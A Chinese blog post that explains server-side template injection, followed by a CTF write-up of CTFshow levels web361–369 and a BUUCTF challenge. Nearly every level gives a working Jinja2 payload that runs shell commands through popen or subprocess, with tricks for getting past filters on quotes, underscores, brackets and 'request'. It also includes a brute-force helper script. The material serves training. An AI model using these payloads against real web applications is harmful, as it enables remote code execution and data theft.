SSTI漏洞分析


SSTI漏洞原理

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

如何判断检测SSTI漏洞的存在

输入的数据会被浏览器利用当前脚本语言调用解析执行

SSTI会产生在那些语言应用

SSTI安全问题在生产环境哪里产生

  • 存在模板引用的地方,如404错误页面展示

  • 存在数据接收引用的地方,如模板解析获取参数数据

CTF案例讲解

以下是CTFSHOW靶场案例:

web361

题目:

payload:

?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}

拿到flag

web362

这一关过滤了2、3等数字,os_os._wrap_close这个类没法使用,利用subprocess.Popen()

payload:

?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}

web363

这一关是过滤双引号,考虑使用get传参绕过

payload:

?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web364

这一关是过滤了args,考虑用用request.values

payload:

?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web365

这一关属于过滤方括号,可以用==getitem==绕过

payload:

?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

web366

这一关过滤了下划线,换一个更简单获取popen方法的类

payload:

?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

web367

这一关过滤了os,可以通过get来获取

payload:

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368

这一关过滤了request,是在{{}}中过滤了request,没有在{% %}过滤request

payload:

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

web369

写一个脚本:

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])

最终的payload:

?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

可以参考以下大佬的

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

下面是buuctf上面的一个靶场:

[WesternCTF2018]shrine

题目:

payload:

/shrine/{{url_for.__globals__['current_app'].config}}

拿到flag

参考文章:https://www.cnblogs.com/bmjoker/p/13508538.html

免责声明:本文章涉及的知识和技能仅用于学习研究,如有用于非法途径或未被授权的真实网络环境,所造成的后果及连带责任自行承担,与本文作者无关,倡导把安全知识和技能用于正当、正规、正义的途径。


文章作者: 阿浩
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 阿浩 !
评论
  目录